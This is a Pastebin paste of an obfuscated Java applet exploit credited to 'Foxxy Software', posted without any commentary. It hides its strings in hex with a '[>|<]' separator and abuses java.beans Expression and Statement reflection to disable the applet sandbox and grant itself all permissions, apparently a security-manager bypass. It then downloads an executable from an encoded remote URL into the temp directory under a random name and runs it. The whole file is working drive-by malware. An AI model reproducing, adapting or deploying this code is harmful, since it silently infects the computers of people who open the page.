Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.applet.Applet;
- import java.beans.Expression;
- import java.beans.Statement;
- import java.io.FileOutputStream;
- import java.lang.reflect.Field;
- import java.net.URL;
- import java.nio.channels.Channels;
- import java.nio.channels.FileChannel;
- import java.security.AccessControlContext;
- import java.security.AllPermission;
- import java.security.CodeSource;
- import java.security.Permissions;
- import java.security.ProtectionDomain;
- import java.security.cert.Certificate;
- import java.util.Random;
- public class eiAD extends Applet
- {
- public String Author = "Created by Foxxy Software. u mad?";
- public String[] JFI = FJOKL("4e[>|<]6f[>|<]74[>|<]68[>|<]69[>|<]6e[>|<]67[>|<]20[>|<]6c[>|<]69[>|<]6b[>|<]65[>|<]20[>|<]73[>|<]75[>|<]6e[>|<]2e[>|<]20[>|<]62[>|<]65[>|<]69[>|<]6e[>|<]67[>|<]20[>|<]61[>|<]20[>|<]61[>|<]77[>|<]74[>|<]2e[>|<]20[>|<]53[>|<]6f[>|<]6d[>|<]65[>|<]74[>|<]69[>|<]6d[>|<]65[>|<]73[>|<]20[>|<]49[>|<]20[>|<]70[>|<]75[>|<]74[>|<]20[>|<]6d[>|<]79[>|<]20[>|<]53[>|<]75[>|<]6e[>|<]54[>|<]6f[>|<]6f[>|<]6c[>|<]6b[>|<]69[>|<]74[>|<]20[>|<]69[>|<]6e[>|<]20[>|<]6d[>|<]79[>|<]20[>|<]61[>|<]73[>|<]73[>|<]68[>|<]6f[>|<]6c[>|<]65[>|<]21[>|<]20[>|<]59[>|<]6f[>|<]75[>|<]20[>|<]73[>|<]65[>|<]65[>|<]20[>|<]74[>|<]68[>|<]65[>|<]20[>|<]67[>|<]65[>|<]74[>|<]20[>|<]69[>|<]73[>|<]20[>|<]61[>|<]20[>|<]46[>|<]69[>|<]65[>|<]6c[>|<]64[>|<]20[>|<]74[>|<]68[>|<]61[>|<]74[>|<]20[>|<]4e[>|<]61[>|<]6d[>|<]65[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]2e[>|<]65[>|<]78[>|<]65[>|<]20[>|<]6f[>|<]6b[>|<]61[>|<]79[>|<]20[>|<]2f[>|<]2f[>|<]20[>|<]49[>|<]20[>|<]6d[>|<]65[>|<]61[>|<]6e[>|<]20[>|<]67[>|<]6f[>|<]64[>|<]20[>|<]64[>|<]61[>|<]6d[>|<]6e[>|<]20[>|<]74[>|<]68[>|<]65[>|<]20[>|<]67[>|<]65[>|<]74[>|<]20[>|<]69[>|<]73[>|<]20[>|<]62[>|<]65[>|<]69[>|<]6e[>|<]67[>|<]20[>|<]73[>|<]65[>|<]74[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]74[>|<]68[>|<]65[>|<]20[>|<]53[>|<]65[>|<]63[>|<]75[>|<]72[>|<]69[>|<]74[>|<]79[>|<]20[>|<]4d[>|<]61[>|<]6e[>|<]61[>|<]67[>|<]65[>|<]72[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]66[>|<]69[>|<]6c[>|<]65[>|<]3a[>|<]2f[>|<]20[>|<]21[>|<]20[>|<]47[>|<]6f[>|<]74[>|<]20[>|<]64[>|<]61[>|<]6d[>|<]6e[>|<]20[>|<]49[>|<]20[>|<]77[>|<]61[>|<]6e[>|<]74[>|<]20[>|<]73[>|<]6f[>|<]6d[>|<]65[>|<]20[>|<]6d[>|<]69[>|<]6c[>|<]6b[>|<]20[>|<]66[>|<]72[>|<]6f[>|<]6d[>|<]20[>|<]6d[>|<]79[>|<]20[>|<]6d[>|<]6f[>|<]6d[>|<]6d[>|<]69[>|<]65[>|<]73[>|<]20[>|<]74[>|<]69[>|<]74[>|<]7a[>|<]20[>|<]66[>|<]6f[>|<]72[>|<]20[>|<]74[>|<]68[>|<]61[>|<]74[>|<]20[>|<]61[>|<]63[>|<]63").split(" ");
- public Object[] HID = { new StringBuilder().append(this.JFI[2]).append(this.JFI[5]).append(this.JFI[10]).toString() };
- public Object[] HJD = { Statement.class, this.JFI[55] };
- public String HFJKD = new StringBuilder().append(this.JFI[32]).append(this.JFI[20]).toString();
- public Permissions localPermissions = new Permissions();
- public String HKD = new StringBuilder().append(this.JFI[35]).append(this.JFI[38]).append(this.JFI[39]).toString();
- public Expression[] FHJD = { new Expression(Class.class, new StringBuilder().append(this.JFI[53]).append(this.JFI[22]).toString(), this.HID), null };
- public URL HGIDO = null;
- public ProtectionDomain[] FHD = { null };
- public Statement localStatement = null;
- public Certificate[] FG = null;
- public AccessControlContext GJD = new AccessControlContext(this.FHD);
- public String FJOKL(String paramString)
- {
- StringBuilder localStringBuilder = new StringBuilder();
- paramString = paramString.replace("[>|<]", "");
- for (int i = 0; i < paramString.length() - 1; i += 2) {
- localStringBuilder.append((char)Integer.parseInt(paramString.substring(i, i + 2), 16));
- }
- paramString = localStringBuilder.toString();
- return paramString;
- }
- public boolean HJKF() {
- try {
- this.FHJD[0].execute();
- this.FHJD[0].execute();
- this.localStatement = new Statement(System.class, new StringBuilder().append(this.JFI[35]).append(this.JFI[38]).append(this.JFI[39]).toString(), new Object[1]);
- this.FHJD[1] = new Expression(this.FHJD[0].getValue(), this.HFJKD, this.HJD);
- this.FHJD[1].execute();
- this.FHD[0] = new ProtectionDomain(new CodeSource(this.HGIDO, this.FG), this.localPermissions);
- ((Field)this.FHJD[1].getValue()).set(this.localStatement, this.GJD);
- } catch (Exception localException) {
- System.exit(0);
- }
- return true;
- }
- public void init() {
- try {
- this.HGIDO = new URL(new StringBuilder().append(this.JFI[41]).append(this.JFI[26]).toString());
- this.localPermissions.add(new AllPermission());
- if (HJKF() == true)
- if (HGKF() == true) {
- FileOutputStream localFileOutputStream = new FileOutputStream(new StringBuilder().append(System.getProperty(this.HFJKD)).append(this.JFI[26]).append(this.HKD).toString());
- this.HGIDO = new URL(new StringBuilder().append(FJOKL("6[>|<]8[>|<]7[>|<]4[>|<]7[>|<]4[>|<]7[>|<]0[>|<]3[>|<]a[>|<]2[>|<]f[>|<]2[>|<]f[>|<]7[>|<]7[>|<]7[>|<]7[>|<]7[>|<]7[>|<]2[>|<]e[>|<]6[>|<]7[>|<]7[>|<]6[>|<]7[>|<]2[>|<]6[>|<]2[>|<]2[>|<]e[>|<]6[>|<]3[>|<]6[>|<]f[>|<]6[>|<]d[>|<]2[>|<]e[>|<]7[>|<]4[>|<]7[>|<]7[>|<]2[>|<]f[>|<]7[>|<]5[>|<]7[>|<]0[>|<]6[>|<]c[>|<]6[>|<]f[>|<]6[>|<]1[>|<]6[>|<]4[>|<]2[>|<]f[>|<]7[>|<]5[>|<]7[>|<]3[>|<]6[>|<]5[>|<]7[>|<]2[>|<]2[>|<]f[>|<]6[>|<]6[>|<]6[>|<]9[>|<]6[>|<]c[>|<]6[>|<]5[>|<]7[>|<]3[>|<]2[>|<]f[>|<]6[>|<]e[>|<]7[>|<]5[>|<]6[>|<]d")).append(this.JFI[24]).toString());
- localFileOutputStream.getChannel().transferFrom(Channels.newChannel(this.HGIDO.openStream()), 0L, 16777216L);
- localFileOutputStream.close();
- if (Runtime.getRuntime().exec(new StringBuilder().append(System.getProperty(this.HFJKD)).append(this.JFI[26]).append(this.HKD).toString()) != null)
- System.exit(0);
- else
- System.exit(0);
- }
- else {
- System.exit(0);
- }
- }
- catch (Throwable localThrowable) {
- System.exit(0);
- }
- }
- public boolean HGKF() {
- try {
- this.HFJKD = "java.io.tmpdir".toString();
- this.localStatement.execute();
- this.HKD = new StringBuilder().append(Long.toString(Math.abs(new Random().nextLong()), 36).replaceAll("[0-9]", "")).append(this.JFI[24]).toString();
- } catch (Throwable localThrowable) {
- System.exit(0);
- }
- return true;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement